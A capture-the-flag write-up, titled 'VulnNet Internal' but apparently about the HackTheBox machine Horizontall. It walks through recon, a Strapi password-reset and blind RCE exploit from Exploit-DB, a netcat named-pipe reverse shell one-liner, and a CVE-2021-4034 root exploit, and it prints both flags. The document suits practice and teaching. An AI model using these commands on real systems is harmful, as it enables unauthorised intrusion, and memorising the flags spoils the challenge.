CTF VulnNet Internal

Description

Horizontal from HTB.

nmap

nmap -sV -p- 10.10.11.105

22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    nginx 1.14.0 (Ubuntu)

Port 80

It’s forbiden, I have to add the dns:

/etc/hosts
10.10.11.105 horizontall.htb

Javascript

The file /js/app.c68eb462.js is obfuscated I have to use a tool to read it.
https://lelinhtinh.github.io/de4js/
I found the link http://api-prod.horizontall.htb/reviews
I have to add it to my /etc/hosts file.

gobuster

gobuster dir -u http://api-prod.horizontall.htb/ -w Documents/wordlist/directory-list-2.3-small.txt -t 150 --wildcard switch | grep "(Status:"

/admin                (Status: 200) [Size: 854]
/users                (Status: 403) [Size: 60] 
/reviews              (Status: 200) [Size: 507]
/Reviews              (Status: 200) [Size: 507]
/Users                (Status: 403) [Size: 60] 
/Admin                (Status: 200) [Size: 854]
/REVIEWS              (Status: 200) [Size: 507]

In admin we have the login page to strapi
In reviews we have a json file.

exploit strapi

https://www.exploit-db.com/exploits/50239

python3 50239.py http://api-prod.horizontall.htb

The shell is broken but we have the creds.

[+] Password reset was successfully
[+] Your email is: admin@horizontall.htb
[+] Your new credentials are: admin:SuperStrongPassword1

One week later…

Ok, the credentials are useless, I have to use the blind RCE,

On my computer:

nc -nlvp 4242

Blind RCE:

rm /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.214 4242 >/tmp/f

And I’m in.

Strapi shell

In /home/developer/user.txt:
e6cb8f6f0831dc40507c330d548ea384

exploit

Upload

Look at this boy, it’s so cool

dragon *

Make

This is a new exploit, released 2 days ago.
https://github.com/berdav/CVE-2021-4034

I’m using dragon to drag and drop my files.

cat /root/root.txt

373da3c143300dec7f9357b24c8b202a

I really feel like a god xD Every computer are vulnerable, you have to update your system, When I’v started the box the exploit was not availible.

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